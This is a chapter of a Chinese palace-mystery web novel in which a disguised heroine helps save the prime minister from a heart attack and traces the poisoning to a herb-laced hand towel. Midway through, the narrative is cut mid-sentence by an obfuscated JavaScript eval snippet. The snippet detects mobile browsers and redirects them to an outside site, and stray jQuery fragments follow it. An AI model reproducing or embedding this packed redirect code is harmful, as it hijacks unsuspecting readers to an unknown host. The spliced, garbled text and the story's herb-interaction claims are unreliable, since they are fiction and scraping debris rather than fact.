121. 急救

作品:《女驸马探案录

    等几人赶到丞相屋内之时,丞相已经被扶到了床上躺着,身边还围着葛家所有人和太子夫妇。


    他的情况确实不太对劲,面色发青发肿,满头大汗,最重要的是连嘴唇也发紫。


    这明显是心疾发作的模样。


    陆安此时也顾不得什么忌讳不忌讳。


    “丞相的旧疾具体是什么病?”


    何夫人只犹豫了一瞬就如实回答:“胸痹和心绞痛。之前,让那孩子带来的药就是要做药丸用的麝香。”


    陆安把了把脉。


    “像是心悸,去熬一碗定心汤来,快!”


    仆人哪里知道这个退了位的皇帝还会医术,一下愣住,傻傻地看着他。


    倒是知道内情的太子急忙吼道:“还不快去!”


    仆人这才急忙跑了出去。


    “夫人,你来施针。”陆安让开一个位置。


    颜玉立从随身的针包里拿出几枚针,朝着葛昭的手臂和头顶上刺去。


    不过片刻,葛昭的面色就缓和了过来。


    颜玉立取下针,又摸了摸脉。


    “好了,不会有事了。”


    屋内紧张的气氛这才一松。


    太子上前拱手道:“多谢皇叔皇婶出手相救,不然……还真是来不及了。”


    “应该的。”陆安忍不住说道,“丞相本就有心疾,府里应该随时有大夫守着才行。”


    何夫人被婢女扶着站了起来,眼睛有些湿润。


    “他自从吃了药之后就再没犯过病,今日我们就没怎么管那大夫,谁成想大夫喝醉了没法瞧病。”


    颜清越忽然说道:“我和丞相一路进京,从来没有见过丞相犯病。这事情,不对。”


    太子也警醒了过来。


    是啊,怎么会呢?


    “颜……怀庆的意思是有人故意为之?”


    “是。这药定然是对症的,吃了这么久,丞相今日也没有劳累或是如何,为何会突然心悸发作?”


    陆安也很赞成。


    “从丞相的脉象来看,他的身子现在不差。香心丸是名方不会有问题。若是因为药量多了或者少了,应该是胸痹发作或是呕吐昏睡,不会单单只是心悸的症状。”


    “会不会是吃了什么相克的东西?”颜清越看向何夫人。


    何夫人摇头:“夫君今日确实喝了酒,但是只有两小杯……应该不会碍事吧。”


    “香心丸和藜芦、毛地黄、五灵脂和赤石脂相克,您想想他最近有没有吃过这些药?”


    “没有,香心丸所用药材复杂,未免药物相克,平日里药都是能不吃则不吃,今日他唯一吃过的其他药只有饭后消食的山楂丸子。那东西我们都吃了,里面只有山楂和蜂蜜,其余什么都没有。”


    “出于谨慎,还是检查一下丞相的今日用过的东西吧。”颜清越心里一直在跳,“丞相已经被人暗害过两次了。”


    “怀庆说的没错。”太子想到丞相之前被害的事情就觉得后怕。


    今日郑家又出了事……


    焉知不是有人作祟?


    “要查。”


    颜清越主动说道:“太子殿下若是信得过我,就让我来查吧。”


    陆安夫妇一下看了过去,满脸不赞同。


    救人是一码事,查下去就是牵扯进去了。


    颜清越却全当没看见。


    太子答应得很干脆。


    “我只怕你不愿意。论能力论亲疏,没有比怀庆更合适的人了。”他朝着陆安夫妇说道,“皇叔皇婶愿意让怀庆帮这个忙吗?”


    太子这话都说到这份上了,二人哪里能拒绝。


    陆安还是挣扎道:“只怕小女无能……”


    “皇叔这是什么话。”太子打断了他,“怀庆的本事极大,这次谋逆的案子若不是她连半分头绪都没有。都是一家人,皇叔就不要谦虚了。”


    陆安心中暗叹,只能松口。


    “如此,那就依照太子所言。”


    丞相还没有醒来,但幸好太医已经赶到。


    来的太医是太医署的太医令,老太医的医术自然胜过二人,不过把了脉,就确定丞相的心悸就是服用了相克的药物导致的。


    老太医还大呼若不是今日陆安夫妇应对及时,丞相必死无疑。


    颜清越在院子里查看着今日丞相用过的食物酒水,听着陆行说完情况。


    “我就知道有问题。”


    “父皇也传了信,让你负责此案。”


    “陛下英明。”颜清越问道,“我爹娘没说什么吧?”


    “他们只是怕卷入是非,如今父皇都这样说,他们自然不会有意见。”


    “我爹也真是被吓怕了。”颜清越放下手里的酒杯,“所有的东西都没有问题。”


    “药!”


    二人异口同声。


    颜清越蹦到他面前。


    “我们多默契呀。”


    “可是药都被吃到了,怎么检验?”


    总不能把还活着的丞相剖开吧?


    “所有的药丸子都是放在一个瓶子里的,若凶手要下药,其他的药丸里应该也有毒,除非凶手是拿药的管事。”


    刚刚走出来的管事正好听见这话,连连作揖,恨不得立即跪下去。


    “鄙人冤枉啊!”


    颜清越捂住嘴:“我说笑呢说笑呢。”


    管事苦着脸。


    “鄙人跟着丞相都三四十年了,怎么会是这种人呢,您这玩笑真是吓煞人也。”


    颜清越尴尬一笑。


    “药丸子还在您那儿吗?”


    “还在呢。”管事把瓷瓶掏出来给她,“您瞧瞧?”


    颜清越把瓷瓶打开,先闻了闻。


    香心丸中用的麝香是极品中的极品,乍一闻全是麝香的气息。


    她只能将药丸取出来一颗颗闻过去。


    还是麝香味。


    颜清越打了个喷嚏。


    这味道真是香过头了!


    “没有其他药物的气味。”


    颜清越把药装好还给管事,双目无神看着前面发呆。


    管事试探着问道:“郡主,这些饮食若是没有问题,我先让人给撤下去?”


    颜清越胡乱点了两下头。


    “撤吧。”


    管事这才叫了几个仆人来收拾。


    今日府中又是寿宴又是主人出事,仆人都有些忙不过来。


    好几个人手里还拿着布巾酒盏这些其他东西。


    颜清越忽然说道:“等等!”


    仆人们动作一顿。


    颜清越问道:“今日开宴前有点心对吧?”


    “是。”管事记得十分清楚,指着桌上剩下的糕点,“阿郎今日高兴,吃了好几块。”


    颜清越的视线却从那些残羹冷炙移向了仆人手里的布巾。


    “若我没记错,这是今日用饭前擦手用的布巾?”


    管事一脸懵:“是……是啊……这……有何问题?”


    “你可能找出丞相今日用过的?”


    拿着布巾的仆人有些为难。


    “这布巾收起来的时候就放一块儿了。”


    颜清越想了想。


    “放一块儿也行,全部


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054469|165310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拿过来看看。”


    仆人应下:“奴婢这就去拿。”


    陆行走近:“布巾会有有问题?”


    “布巾是按照顺序发的。丞相是主人,第一张布巾定然会奉给他,这很容易被做手脚。”


    “你可有想过,凶手会是谁?”


    “丞相的药丸配方,等闲无人知晓,知晓药方的人才知道下什么药才会有用。凶手定然是葛家人。葛家本身人丁单薄,只有何夫人与公主夫妇。但是,还有另外寄居在此的两家人。他们的底细不明,谁知道会不会是他们?”


    “那两家人我也不甚了解,只记得有个胡娘子是武信侯的未婚妻。”


    “但可以判定这两家人日子都不怎么样,不然也不会寄人篱下了。你等会儿去查一查他们。”颜清越又问道,“我爹娘呢?”


    “太医令瞧完病,他们就跟着走了。”


    颜清越大为震惊。


    “他们就把我扔这儿了?!那我怎么回家啊?”


    “大哥说了,会派人送你回去。”


    “派自己的三弟?对不对?”


    陆行点头:“郡主不满意?”


    “满意!”颜清越看了一下左右,见没有人在才放松了下来,可怜兮兮地说道,“我可想你了……”


    “我也想你……”陆行终究还是摸了一下她的脸。


    颜清越蹭了蹭。


    “其实我爹娘对你意见不大,主要是……身份问题。”


    陆行一脸坦然。


    “那日父皇说要将我记成义子之事我已经拒绝了,若他们担忧我权位过大,我也可以上旨请辞。”


    “先别急!”颜清越急切问道,“陛下是不是生气啦?”


    陆行摇头:“没有。父皇若是生气,我能好好站在这里?还能以母后的名义去你家?”


    “那就好。”颜清越心里也忐忑,“你父皇算是同意了?”


    “是你父亲不同意……”陆行想到那日的事情觉得又窘迫又好笑,“那日把他也确实气着了,只是……”


    “只是什么?”


    “那棍子哪儿来的?”


    颜清越也才反应过来:“是哦,我院儿里是没有棍子的。”


    二人看着对方陷入了沉思。


    是啊……棍子是哪儿来的?


    还没等二人想明白,仆人就抬着几大盆布巾过来了。


    管事说道:“郡主,都在这儿了,还没来得及洗呢。”


    “没洗正好!”颜清越也不顾仪态,直接蹲下去就翻着闻。


    管事惊了一下,默默背过身去。


    他什么都没看见。


    几个仆人也看得目瞪口呆。


    难怪之前没人怀疑这位郡主女扮男装!


    布巾本来只是擦手用的,都很干净,若是有一点味道都会很明显。


    忽然,鼻下传来一股淡淡的辣味,闻得人鼻子痒痒的。


    颜清越立即站了起来。


    “就是这个味道!”


    管事这才转过身。


    颜清越也才发现自己刚刚动作十分豪迈,不好意思地说道:“是我失仪了……”


    刚刚被吓到的管事和仆人都只是笑。


    “您这不也是心系着阿郎的安危吗?”管事一脸真诚,“若是破案的官员都能有您这样实在那就好了。难怪阿郎总是把您挂在嘴边。”


    颜清越挥了挥布巾:“这上面有藜芦的气味。藜芦和麝香相克,会导致心悸怔仲发作。管事,府中有藜芦吗?”


    管事摇头:“没有啊。”


    “那就只能劳烦您搜一搜了。”